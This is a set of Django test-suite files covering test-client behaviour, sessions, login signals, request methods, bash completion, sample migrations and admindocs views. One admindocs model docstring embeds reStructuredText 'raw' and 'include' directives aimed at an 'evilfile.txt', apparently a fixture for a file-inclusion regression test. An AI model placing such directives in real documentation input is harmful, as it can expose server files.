        response = self.client.get("/request_data/", data={'foo': 'whiz'})
        self.assertIsInstance(response.context, RequestContext)
        self.assertIn('get-foo', response.context)
        self.assertEqual(response.context['get-foo'], 'whiz')
        self.assertEqual(response.context['data'], 'sausage')

        with self.assertRaisesMessage(KeyError, 'does-not-exist'):
            response.context['does-not-exist']

    def test_inherited_context(self):
        "Context variables can be retrieved from a list of contexts"
        response = self.client.get("/request_data_extended/", data={'foo': 'whiz'})
        self.assertEqual(response.context.__class__, ContextList)
        self.assertEqual(len(response.context), 2)
        self.assertIn('get-foo', response.context)
        self.assertEqual(response.context['get-foo'], 'whiz')
        self.assertEqual(response.context['data'], 'bacon')

        with self.assertRaises(KeyError) as cm:
            response.context['does-not-exist']
        self.assertEqual(cm.exception.args[0], 'does-not-exist')

    def test_contextlist_keys(self):
        c1 = Context()
        c1.update({'hello': 'world', 'goodbye': 'john'})
        c1.update({'hello': 'dolly', 'dolly': 'parton'})
        c2 = Context()
        c2.update({'goodbye': 'world', 'python': 'rocks'})
        c2.update({'goodbye': 'dolly'})

        l = ContextList([c1, c2])
        # None, True and False are builtins of BaseContext, and present
        # in every Context without needing to be added.
        self.assertEqual({'None', 'True', 'False', 'hello', 'goodbye', 'python', 'dolly'}, l.keys())

    def test_15368(self):
        # Need to insert a context processor that assumes certain things about
        # the request instance. This triggers a bug caused by some ways of
        # copying RequestContext.
        with self.settings(TEMPLATES=[{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'APP_DIRS': True,
            'OPTIONS': {
                'context_processors': [
                    'test_client_regress.context_processors.special',
                ],
            },
        }]):
            response = self.client.get("/request_context_view/")
            self.assertContains(response, 'Path: /request_context_view/')

    def test_nested_requests(self):
        """
        response.context is not lost when view call another view.
        """
        response = self.client.get("/nested_view/")
        self.assertIsInstance(response.context, RequestContext)
        self.assertEqual(response.context['nested'], 'yes')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class SessionTests(TestDataMixin, TestCase):

    def test_session(self):
        "The session isn't lost if a user logs in"
        # The session doesn't exist to start.
        response = self.client.get('/check_session/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'NO')

        # This request sets a session variable.
        response = self.client.get('/set_session/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'set_session')

        # Check that the session has been modified
        response = self.client.get('/check_session/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'YES')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Session should still contain the modified value
        response = self.client.get('/check_session/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'YES')

    def test_session_initiated(self):
        session = self.client.session
        session['session_var'] = 'foo'
        session.save()

        response = self.client.get('/check_session/')
        self.assertEqual(response.content, b'foo')

    def test_logout(self):
        """Logout should work whether the user is logged in or not (#9978)."""
        self.client.logout()
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')
        self.client.logout()
        self.client.logout()

    def test_logout_with_user(self):
        """Logout should send user_logged_out signal if user was logged in."""
        def listener(*args, **kwargs):
            listener.executed = True
            self.assertEqual(kwargs['sender'], User)
        listener.executed = False

        user_logged_out.connect(listener)
        self.client.login(username='testclient', password='password')
        self.client.logout()
        user_logged_out.disconnect(listener)
        self.assertTrue(listener.executed)

    @override_settings(AUTH_USER_MODEL='test_client_regress.CustomUser')
    def test_logout_with_custom_user(self):
        """Logout should send user_logged_out signal if custom user was logged in."""
        def listener(*args, **kwargs):
            self.assertEqual(kwargs['sender'], CustomUser)
            listener.executed = True
        listener.executed = False
        u = CustomUser.custom_objects.create(email='test@test.com')
        u.set_password('password')
        u.save()

        user_logged_out.connect(listener)
        self.client.login(username='test@test.com', password='password')
        self.client.logout()
        user_logged_out.disconnect(listener)
        self.assertTrue(listener.executed)

    @override_settings(AUTHENTICATION_BACKENDS=(
        'django.contrib.auth.backends.ModelBackend',
        'test_client_regress.auth_backends.CustomUserBackend'))
    def test_logout_with_custom_auth_backend(self):
        "Request a logout after logging in with custom authentication backend"
        def listener(*args, **kwargs):
            self.assertEqual(kwargs['sender'], CustomUser)
            listener.executed = True
        listener.executed = False
        u = CustomUser.custom_objects.create(email='test@test.com')
        u.set_password('password')
        u.save()

        user_logged_out.connect(listener)
        self.client.login(username='test@test.com', password='password')
        self.client.logout()
        user_logged_out.disconnect(listener)
        self.assertTrue(listener.executed)

    def test_logout_without_user(self):
        """Logout should send signal even if user not authenticated."""
        def listener(user, *args, **kwargs):
            listener.user = user
            listener.executed = True
        listener.executed = False

        user_logged_out.connect(listener)
        self.client.login(username='incorrect', password='password')
        self.client.logout()
        user_logged_out.disconnect(listener)

        self.assertTrue(listener.executed)
        self.assertIsNone(listener.user)

    def test_login_with_user(self):
        """Login should send user_logged_in signal on successful login."""
        def listener(*args, **kwargs):
            listener.executed = True
        listener.executed = False

        user_logged_in.connect(listener)
        self.client.login(username='testclient', password='password')
        user_logged_out.disconnect(listener)

        self.assertTrue(listener.executed)

    def test_login_without_signal(self):
        """Login shouldn't send signal if user wasn't logged in"""
        def listener(*args, **kwargs):
            listener.executed = True
        listener.executed = False

        user_logged_in.connect(listener)
        self.client.login(username='incorrect', password='password')
        user_logged_in.disconnect(listener)

        self.assertFalse(listener.executed)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class RequestMethodTests(SimpleTestCase):

    def test_get(self):
        "Request a view via request method GET"
        response = self.client.get('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: GET')

    def test_post(self):
        "Request a view via request method POST"
        response = self.client.post('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: POST')

    def test_head(self):
        "Request a view via request method HEAD"
        response = self.client.head('/request_methods/')
        self.assertEqual(response.status_code, 200)
        # A HEAD request doesn't return any content.
        self.assertNotEqual(response.content, b'request method: HEAD')
        self.assertEqual(response.content, b'')

    def test_options(self):
        "Request a view via request method OPTIONS"
        response = self.client.options('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: OPTIONS')

    def test_put(self):
        "Request a view via request method PUT"
        response = self.client.put('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: PUT')

    def test_delete(self):
        "Request a view via request method DELETE"
        response = self.client.delete('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: DELETE')

    def test_patch(self):
        "Request a view via request method PATCH"
        response = self.client.patch('/request_methods/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: PATCH')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class RequestMethodStringDataTests(SimpleTestCase):

    def test_post(self):
        "Request a view with string data via request method POST"
        # Regression test for #11371
        data = '{"test": "json"}'
        response = self.client.post('/request_methods/', data=data, content_type='application/json')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: POST')

    def test_put(self):
        "Request a view with string data via request method PUT"
        # Regression test for #11371
        data = '{"test": "json"}'
        response = self.client.put('/request_methods/', data=data, content_type='application/json')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: PUT')

    def test_patch(self):
        "Request a view with string data via request method PATCH"
        # Regression test for #17797
        data = '{"test": "json"}'
        response = self.client.patch('/request_methods/', data=data, content_type='application/json')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'request method: PATCH')

    def test_empty_string_data(self):
        "Request a view with empty string data via request method GET/POST/HEAD"
        # Regression test for #21740
        response = self.client.get('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.post('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.head('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')

    def test_json(self):
        response = self.client.get('/json_response/')
        self.assertEqual(response.json(), {'key': 'value'})

    def test_json_wrong_header(self):
        response = self.client.get('/body/')
        msg = 'Content-Type header is "text/html; charset=utf-8", not "application/json"'
        with self.assertRaisesMessage(ValueError, msg):
            self.assertEqual(response.json(), {'key': 'value'})


@override_settings(ROOT_URLCONF='test_client_regress.urls',)
class QueryStringTests(SimpleTestCase):

    def test_get_like_requests(self):
        # See: https://code.djangoproject.com/ticket/10571.
        for method_name in ('get', 'head'):
            # A GET-like request can pass a query string as data
            method = getattr(self.client, method_name)
            response = method("/request_data/", data={'foo': 'whiz'})
            self.assertEqual(response.context['get-foo'], 'whiz')

            # A GET-like request can pass a query string as part of the URL
            response = method("/request_data/?foo=whiz")
            self.assertEqual(response.context['get-foo'], 'whiz')

            # Data provided in the URL to a GET-like request is overridden by actual form data
            response = method("/request_data/?foo=whiz", data={'foo': 'bang'})
            self.assertEqual(response.context['get-foo'], 'bang')

            response = method("/request_data/?foo=whiz", data={'bar': 'bang'})
            self.assertIsNone(response.context['get-foo'])
            self.assertEqual(response.context['get-bar'], 'bang')

    def test_post_like_requests(self):
        # A POST-like request can pass a query string as data
        response = self.client.post("/request_data/", data={'foo': 'whiz'})
        self.assertIsNone(response.context['get-foo'])
        self.assertEqual(response.context['post-foo'], 'whiz')

        # A POST-like request can pass a query string as part of the URL
        response = self.client.post("/request_data/?foo=whiz")
        self.assertEqual(response.context['get-foo'], 'whiz')
        self.assertIsNone(response.context['post-foo'])

        # POST data provided in the URL augments actual form data
        response = self.client.post("/request_data/?foo=whiz", data={'foo': 'bang'})
        self.assertEqual(response.context['get-foo'], 'whiz')
        self.assertEqual(response.context['post-foo'], 'bang')

        response = self.client.post("/request_data/?foo=whiz", data={'bar': 'bang'})
        self.assertEqual(response.context['get-foo'], 'whiz')
        self.assertIsNone(response.context['get-bar'])
        self.assertIsNone(response.context['post-foo'])
        self.assertEqual(response.context['post-bar'], 'bang')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class UnicodePayloadTests(SimpleTestCase):

    def test_simple_unicode_payload(self):
        "A simple ASCII-only unicode JSON document can be POSTed"
        # Regression test for #10571
        json = '{"english": "mountain pass"}'
        response = self.client.post("/parse_unicode_json/", json, content_type="application/json")
        self.assertEqual(response.content, json.encode())

    def test_unicode_payload_utf8(self):
        "A non-ASCII unicode data encoded as UTF-8 can be POSTed"
        # Regression test for #10571
        json = '{"dog": "собака"}'
        response = self.client.post("/parse_unicode_json/", json, content_type="application/json; charset=utf-8")
        self.assertEqual(response.content, json.encode('utf-8'))

    def test_unicode_payload_utf16(self):
        "A non-ASCII unicode data encoded as UTF-16 can be POSTed"
        # Regression test for #10571
        json = '{"dog": "собака"}'
        response = self.client.post("/parse_unicode_json/", json, content_type="application/json; charset=utf-16")
        self.assertEqual(response.content, json.encode('utf-16'))

    def test_unicode_payload_non_utf(self):
        "A non-ASCII unicode data as a non-UTF based encoding can be POSTed"
        # Regression test for #10571
        json = '{"dog": "собака"}'
        response = self.client.post("/parse_unicode_json/", json, content_type="application/json; charset=koi8-r")
        self.assertEqual(response.content, json.encode('koi8-r'))


class DummyFile(object):
    def __init__(self, filename):
        self.name = filename

    def read(self):
        return b'TEST_FILE_CONTENT'


class UploadedFileEncodingTest(SimpleTestCase):
    def test_file_encoding(self):
        encoded_file = encode_file('TEST_BOUNDARY', 'TEST_KEY', DummyFile('test_name.bin'))
        self.assertEqual(b'--TEST_BOUNDARY', encoded_file[0])
        self.assertEqual(b'Content-Disposition: form-data; name="TEST_KEY"; filename="test_name.bin"', encoded_file[1])
        self.assertEqual(b'TEST_FILE_CONTENT', encoded_file[-1])

    def test_guesses_content_type_on_file_encoding(self):
        self.assertEqual(b'Content-Type: application/octet-stream',
                         encode_file('IGNORE', 'IGNORE', DummyFile("file.bin"))[2])
        self.assertEqual(b'Content-Type: text/plain',
                         encode_file('IGNORE', 'IGNORE', DummyFile("file.txt"))[2])
        self.assertIn(encode_file('IGNORE', 'IGNORE', DummyFile("file.zip"))[2], (
            b'Content-Type: application/x-compress',
            b'Content-Type: application/x-zip',
            b'Content-Type: application/x-zip-compressed',
            b'Content-Type: application/zip',))
        self.assertEqual(b'Content-Type: application/octet-stream',
                         encode_file('IGNORE', 'IGNORE', DummyFile("file.unknown"))[2])


@override_settings(ROOT_URLCONF='test_client_regress.urls',)
class RequestHeadersTest(SimpleTestCase):
    def test_client_headers(self):
        "A test client can receive custom headers"
        response = self.client.get("/check_headers/", HTTP_X_ARG_CHECK='Testing 123')
        self.assertEqual(response.content, b"HTTP_X_ARG_CHECK: Testing 123")
        self.assertEqual(response.status_code, 200)

    def test_client_headers_redirect(self):
        "Test client headers are preserved through redirects"
        response = self.client.get("/check_headers_redirect/", follow=True, HTTP_X_ARG_CHECK='Testing 123')
        self.assertEqual(response.content, b"HTTP_X_ARG_CHECK: Testing 123")
        self.assertRedirects(response, '/check_headers/', status_code=302, target_status_code=200)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class ReadLimitedStreamTest(SimpleTestCase):
    """
    Tests that ensure that HttpRequest.body, HttpRequest.read() and
    HttpRequest.read(BUFFER) have proper LimitedStream behavior.

    Refs #14753, #15785
    """

    def test_body_from_empty_request(self):
        """HttpRequest.body on a test client GET request should return
        the empty string."""
        self.assertEqual(self.client.get("/body/").content, b'')

    def test_read_from_empty_request(self):
        """HttpRequest.read() on a test client GET request should return the
        empty string."""
        self.assertEqual(self.client.get("/read_all/").content, b'')

    def test_read_numbytes_from_empty_request(self):
        """HttpRequest.read(LARGE_BUFFER) on a test client GET request should
        return the empty string."""
        self.assertEqual(self.client.get("/read_buffer/").content, b'')

    def test_read_from_nonempty_request(self):
        """HttpRequest.read() on a test client PUT request with some payload
        should return that payload."""
        payload = b'foobar'
        self.assertEqual(self.client.put("/read_all/", data=payload, content_type='text/plain').content, payload)

    def test_read_numbytes_from_nonempty_request(self):
        """HttpRequest.read(LARGE_BUFFER) on a test client PUT request with
        some payload should return that payload."""
        payload = b'foobar'
        self.assertEqual(self.client.put("/read_buffer/", data=payload, content_type='text/plain').content, payload)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class RequestFactoryStateTest(SimpleTestCase):
    """Regression tests for #15929."""
    # These tests are checking that certain middleware don't change certain
    # global state. Alternatively, from the point of view of a test, they are
    # ensuring test isolation behavior. So, unusually, it doesn't make sense to
    # run the tests individually, and if any are failing it is confusing to run
    # them with any other set of tests.

    def common_test_that_should_always_pass(self):
        request = RequestFactory().get('/')
        request.session = {}
        self.assertFalse(hasattr(request, 'user'))

    def test_request(self):
        self.common_test_that_should_always_pass()

    def test_request_after_client(self):
        # apart from the next line the three tests are identical
        self.client.get('/')
        self.common_test_that_should_always_pass()

    def test_request_after_client_2(self):
        # This test is executed after the previous one
        self.common_test_that_should_always_pass()


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class RequestFactoryEnvironmentTests(SimpleTestCase):
    """
    Regression tests for #8551 and #17067: ensure that environment variables
    are set correctly in RequestFactory.
    """

    def test_should_set_correct_env_variables(self):
        request = RequestFactory().get('/path/')

        self.assertEqual(request.META.get('REMOTE_ADDR'), '127.0.0.1')
        self.assertEqual(request.META.get('SERVER_NAME'), 'testserver')
        self.assertEqual(request.META.get('SERVER_PORT'), '80')
        self.assertEqual(request.META.get('SERVER_PROTOCOL'), 'HTTP/1.1')
        self.assertEqual(request.META.get('SCRIPT_NAME') + request.META.get('PATH_INFO'), '/path/')






def special(request):
    return {'path': request.special_path}












"""
A series of tests to establish that the command-line bash completion works.
"""
import os
import sys
import unittest

from django.apps import apps
from django.core.management import ManagementUtility
from django.test.utils import captured_stdout


class BashCompletionTests(unittest.TestCase):
    """
    Testing the Python level bash completion code.
    This requires setting up the environment as if we got passed data
    from bash.
    """

    def setUp(self):
        self.old_DJANGO_AUTO_COMPLETE = os.environ.get('DJANGO_AUTO_COMPLETE')
        os.environ['DJANGO_AUTO_COMPLETE'] = '1'

    def tearDown(self):
        if self.old_DJANGO_AUTO_COMPLETE:
            os.environ['DJANGO_AUTO_COMPLETE'] = self.old_DJANGO_AUTO_COMPLETE
        else:
            del os.environ['DJANGO_AUTO_COMPLETE']

    def _user_input(self, input_str):
        """
        Set the environment and the list of command line arguments.

        This sets the bash variables $COMP_WORDS and $COMP_CWORD. The former is
        an array consisting of the individual words in the current command
        line, the latter is the index of the current cursor position, so in
        case a word is completed and the cursor is placed after a whitespace,
        $COMP_CWORD must be incremented by 1:

          * 'django-admin start' -> COMP_CWORD=1
          * 'django-admin startproject' -> COMP_CWORD=1
          * 'django-admin startproject ' -> COMP_CWORD=2
        """
        os.environ['COMP_WORDS'] = input_str
        idx = len(input_str.split(' ')) - 1  # Index of the last word
        comp_cword = idx + 1 if input_str.endswith(' ') else idx
        os.environ['COMP_CWORD'] = str(comp_cword)
        sys.argv = input_str.split()

    def _run_autocomplete(self):
        util = ManagementUtility(argv=sys.argv)
        with captured_stdout() as stdout:
            try:
                util.autocomplete()
            except SystemExit:
                pass
        return stdout.getvalue().strip().split('\n')

    def test_django_admin_py(self):
        "django_admin.py will autocomplete option flags"
        self._user_input('django-admin sqlmigrate --verb')
        output = self._run_autocomplete()
        self.assertEqual(output, ['--verbosity='])

    def test_manage_py(self):
        "manage.py will autocomplete option flags"
        self._user_input('manage.py sqlmigrate --verb')
        output = self._run_autocomplete()
        self.assertEqual(output, ['--verbosity='])

    def test_custom_command(self):
        "A custom command can autocomplete option flags"
        self._user_input('django-admin test_command --l')
        output = self._run_autocomplete()
        self.assertEqual(output, ['--list'])

    def test_subcommands(self):
        "Subcommands can be autocompleted"
        self._user_input('django-admin sql')
        output = self._run_autocomplete()
        self.assertEqual(output, ['sqlflush sqlmigrate sqlsequencereset'])

    def test_completed_subcommand(self):
        "Show option flags in case a subcommand is completed"
        self._user_input('django-admin startproject ')  # Trailing whitespace
        output = self._run_autocomplete()
        for item in output:
            self.assertTrue(item.startswith('--'))

    def test_help(self):
        "No errors, just an empty list if there are no autocomplete options"
        self._user_input('django-admin help --')
        output = self._run_autocomplete()
        self.assertEqual(output, [''])

    def test_app_completion(self):
        "Application names will be autocompleted for an AppCommand"
        self._user_input('django-admin sqlmigrate a')
        output = self._run_autocomplete()
        a_labels = sorted(
            app_config.label for app_config in apps.get_app_configs()
            if app_config.label.startswith('a')
        )
        self.assertEqual(output, a_labels)


















from django.core.management.base import BaseCommand


class Command(BaseCommand):
    def add_arguments(self, parser):
        parser.add_argument("--list", action="store_true", dest="list", help="Print all options")

    def handle(self, *args, **options):
        pass






# Required for migration detection (#22645)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("migrations", "0002_second")]

    operations = [

        migrations.CreateModel(
            "OtherAuthor",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ("migrations", "__first__"),
    ]

    operations = [

        migrations.CreateModel(
            "OtherAuthor",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [("migrations2", "0001_initial")]

    operations = [

        migrations.CreateModel(
            "Bookstore",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
            ],
        ),

    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = []

    operations = [

        migrations.CreateModel(
            "OtherAuthor",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=255)),
                ("slug", models.SlugField(null=True)),
                ("age", models.IntegerField(default=0)),
                ("silly_field", models.BooleanField(default=False)),
            ],
        ),

    ]












"""
Models for testing various aspects of the djang.contrib.admindocs app
"""

from django.db import models


class Company(models.Model):
    name = models.CharField(max_length=200)


class Group(models.Model):
    name = models.CharField(max_length=200)


class Family(models.Model):
    last_name = models.CharField(max_length=200)


class Person(models.Model):
    """
    Stores information about a person, related to :model:`myapp.Company`.

    **Notes**

    Use ``save_changes()`` when saving this object.

    ``company``
        Field storing :model:`myapp.Company` where the person works.

    (DESCRIPTION)

    .. raw:: html
        :file: admin_docs/evilfile.txt

    .. include:: admin_docs/evilfile.txt
    """
    first_name = models.CharField(max_length=200, help_text="The person's first name")
    last_name = models.CharField(max_length=200, help_text="The person's last name")
    company = models.ForeignKey(Company, models.CASCADE, help_text="place of work")
    family = models.ForeignKey(Family, models.SET_NULL, related_name='+', null=True)
    groups = models.ManyToManyField(Group, help_text="has membership")

    def _get_full_name(self):
        return "%s %s" % (self.first_name, self.last_name)

    def rename_company(self, new_name):
        self.company.name = new_name
        self.company.save()
        return new_name

    def dummy_function(self, baz, rox, *some_args, **some_kwargs):
        return some_kwargs

    def suffix_company_name(self, suffix='ltd'):
        return self.company.name + suffix

    def add_image(self):
        pass

    def delete_image(self):
        pass

    def save_changes(self):
        pass

    def set_status(self):
        pass

    def get_full_name(self):
        """
        Get the full name of the person
        """
        return self._get_full_name()

    def get_status_count(self):
        return 0

    def get_groups_list(self):
        return []






from django.conf.urls import include, url
from django.contrib import admin

from . import views

backend_urls = ([
    url(r'^something/$', views.XViewClass.as_view(), name='something'),
], 'backend')

urlpatterns = [
    url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
    url(r'^admin/', admin.site.urls),
    url(r'^api/backend/', include(backend_urls, namespace='backend')),
]






from django.contrib.admindocs.middleware import XViewMiddleware
from django.http import HttpResponse
from django.utils.decorators import decorator_from_middleware
from django.views.generic import View

xview_dec = decorator_from_middleware(XViewMiddleware)


def xview(request):
    return HttpResponse()


class XViewClass(View):
    def get(self, request):
        return HttpResponse()






from django.conf.urls import include, url
from django.contrib import admin

from . import views

ns_patterns = ([
    url(r'^xview/func/$', views.xview_dec(views.xview), name='func'),
], 'test')

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^admindocs/', include('django.contrib.admindocs.urls')),
    url(r'^', include(ns_patterns, namespace='test')),
    url(r'^xview/func/$', views.xview_dec(views.xview)),
    url(r'^xview/class/$', views.xview_dec(views.XViewClass.as_view())),
]












import sys
import unittest

from django.conf import settings
from django.contrib.admindocs import utils
from django.contrib.admindocs.views import get_return_data_type, simplify_regex
from django.contrib.auth.models import User
from django.contrib.sites.models import Site
from django.test import TestCase, modify_settings, override_settings
from django.test.utils import captured_stderr
from django.urls import reverse
from django.utils import six

from .models import Company, Person


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')


@override_settings(ROOT_URLCONF='admin_docs.urls')
@modify_settings(INSTALLED_APPS={'append': 'django.contrib.admindocs'})
class AdminDocsTestCase(TestCase):
    pass


class MiscTests(AdminDocsTestCase):

    def setUp(self):
        superuser = User.objects.create_superuser('super', None, 'secret')
        self.client.force_login(superuser)

    @modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'})
    @override_settings(SITE_ID=None)    # will restore SITE_ID after the test
    def test_no_sites_framework(self):
        """
        Without the sites framework, should not access SITE_ID or Site
        objects. Deleting settings is fine here as UserSettingsHolder is used.
        """
        Site.objects.all().delete()
        del settings.SITE_ID
        self.client.get('/admindocs/views/')  # should not raise


@unittest.skipUnless(utils.docutils_is_available, "no docutils installed.")
class AdminDocViewTests(TestDataMixin, AdminDocsTestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_index(self):
        self.client.logout()
        response = self.client.get(reverse('django-admindocs-docroot'), follow=True)
        # Should display the login screen
        self.assertContains(response, '<input type="hidden" name="next" value="/admindocs/" />', html=True)
        self.client.force_login(self.superuser)
        response = self.client.get(reverse('django-admindocs-docroot'))
        self.assertContains(response, '<h1>Documentation</h1>', html=True)
        self.assertContains(response, '<h1 id="site-name"><a href="/admin/">Django administration</a></h1>')

    def test_bookmarklets(self):
        response = self.client.get(reverse('django-admindocs-bookmarklets'))
        self.assertContains(response, '/admindocs/views/')

    def test_templatetag_index(self):
        response = self.client.get(reverse('django-admindocs-tags'))
        self.assertContains(response, '<h3 id="built_in-extends">extends</h3>', html=True)

    def test_templatefilter_index(self):
        response = self.client.get(reverse('django-admindocs-filters'))
        self.assertContains(response, '<h3 id="built_in-first">first</h3>', html=True)

    def test_view_index(self):
        response = self.client.get(reverse('django-admindocs-views-index'))
        self.assertContains(
            response,
            '<h3><a href="/admindocs/views/django.contrib.admindocs.views.BaseAdminDocsView/">/admindocs/</a></h3>',
            html=True
        )
        self.assertContains(response, 'Views by namespace test')
        self.assertContains(response, 'Name: <code>test:func</code>.')

    @unittest.skipIf(six.PY2, "Python 2 doesn't support __qualname__.")
    def test_view_index_with_method(self):
        """
        Views that are methods are listed correctly.
        """
        response = self.client.get(reverse('django-admindocs-views-index'))
        self.assertContains(
            response,
            '<h3><a href="/admindocs/views/django.contrib.admin.sites.AdminSite.index/">/admin/</a></h3>',
            html=True
        )

    def test_view_detail(self):
        url = reverse('django-admindocs-views-detail', args=['django.contrib.admindocs.views.BaseAdminDocsView'])
        response = self.client.get(url)
        # View docstring
        self.assertContains(response, 'Base view for admindocs views.')

    @override_settings(ROOT_URLCONF='admin_docs.namespace_urls')
    def test_namespaced_view_detail(self):
        url = reverse('django-admindocs-views-detail', args=['admin_docs.views.XViewClass'])
        response = self.client.get(url)
        self.assertContains(response, '<h1>admin_docs.views.XViewClass</h1>')

    def test_view_detail_illegal_import(self):
        """
        #23601 - Ensure the view exists in the URLconf.
        """
        url = reverse('django-admindocs-views-detail', args=['urlpatterns_reverse.nonimported_module.view'])
        response = self.client.get(url)
        self.assertEqual(response.status_code, 404)
        self.assertNotIn("urlpatterns_reverse.nonimported_module", sys.modules)

    def test_view_detail_as_method(self):
        """
        Views that are methods can be displayed.
        """
        url = reverse('django-admindocs-views-detail', args=['django.contrib.admin.sites.AdminSite.index'])
        response = self.client.get(url)
        self.assertEqual(response.status_code, 200 if six.PY3 else 404)

    def test_model_index(self):
        response = self.client.get(reverse('django-admindocs-models-index'))
        self.assertContains(
            response,
            '<h2 id="app-auth">Authentication and Authorization (django.contrib.auth)</h2>',
            html=True
        )

    def test_template_detail(self):
        response = self.client.get(reverse('django-admindocs-templates', args=['admin_doc/template_detail.html']))
        self.assertContains(response, '<h1>Template: "admin_doc/template_detail.html"</h1>', html=True)

    def test_missing_docutils(self):
        utils.docutils_is_available = False
        try:
            response = self.client.get(reverse('django-admindocs-docroot'))
            self.assertContains(
                response,
                '<h3>The admin documentation system requires Python\'s '
                '<a href="http://docutils.sf.net/">docutils</a> library.</h3>',
                html=True
            )
            self.assertContains(response, '<h1 id="site-name"><a href="/admin/">Django administration</a></h1>')
        finally:
            utils.docutils_is_available = True

    def test_simplify_regex(self):
        tests = (
            ('^a', '/a'),
            ('^(?P<a>\w+)/b/(?P<c>\w+)/$', '/<a>/b/<c>/'),
            ('^(?P<a>\w+)/b/(?P<c>\w+)$', '/<a>/b/<c>'),
        )
        for pattern, output in tests:
            self.assertEqual(simplify_regex(pattern), output)


@override_settings(TEMPLATES=[{
    'NAME': 'ONE',
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'APP_DIRS': True,
}, {
    'NAME': 'TWO',
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'APP_DIRS': True,
}])
@unittest.skipUnless(utils.docutils_is_available, "no docutils installed.")
class AdminDocViewWithMultipleEngines(AdminDocViewTests):
    def test_templatefilter_index(self):
        # Overridden because non-trivial TEMPLATES settings aren't supported
        # but the page shouldn't crash (#24125).
        response = self.client.get(reverse('django-admindocs-filters'))
        self.assertContains(response, '<title>Template filters</title>', html=True)

    def test_templatetag_index(self):
        # Overridden because non-trivial TEMPLATES settings aren't supported
        # but the page shouldn't crash (#24125).
        response = self.client.get(reverse('django-admindocs-tags'))
        self.assertContains(response, '<title>Template tags</title>', html=True)


class XViewMiddlewareTest(TestDataMixin, AdminDocsTestCase):

    def test_xview_func(self):
        user = User.objects.get(username='super')
        response = self.client.head('/xview/func/')
        self.assertNotIn('X-View', response)
        self.client.force_login(self.superuser)
        response = self.client.head('/xview/func/')
        self.assertIn('X-View', response)
        self.assertEqual(response['X-View'], 'admin_docs.views.xview')
        user.is_staff = False
        user.save()
        response = self.client.head('/xview/func/')
        self.assertNotIn('X-View', response)
        user.is_staff = True
        user.is_active = False
        user.save()
        response = self.client.head('/xview/func/')
        self.assertNotIn('X-View', response)

    def test_xview_class(self):
        user = User.objects.get(username='super')
        response = self.client.head('/xview/class/')
        self.assertNotIn('X-View', response)
        self.client.force_login(self.superuser)
        response = self.client.head('/xview/class/')
        self.assertIn('X-View', response)
        self.assertEqual(response['X-View'], 'admin_docs.views.XViewClass')
        user.is_staff = False
        user.save()
        response = self.client.head('/xview/class/')
        self.assertNotIn('X-View', response)
        user.is_staff = True
        user.is_active = False
        user.save()
        response = self.client.head('/xview/class/')
        self.assertNotIn('X-View', response)


@unittest.skipUnless(utils.docutils_is_available, "no docutils installed.")
class DefaultRoleTest(AdminDocsTestCase):

    def test_parse_rst(self):
        """
        ``django.contrib.admindocs.utils.parse_rst`` should use
        ``cmsreference`` as the default role.
        """
        markup = '<p><a class="reference external" href="/admindocs/%s">title</a></p>\n'
        self.assertEqual(utils.parse_rst('`title`', 'model'), markup % 'models/title/')
        self.assertEqual(utils.parse_rst('`title`', 'view'), markup % 'views/title/')
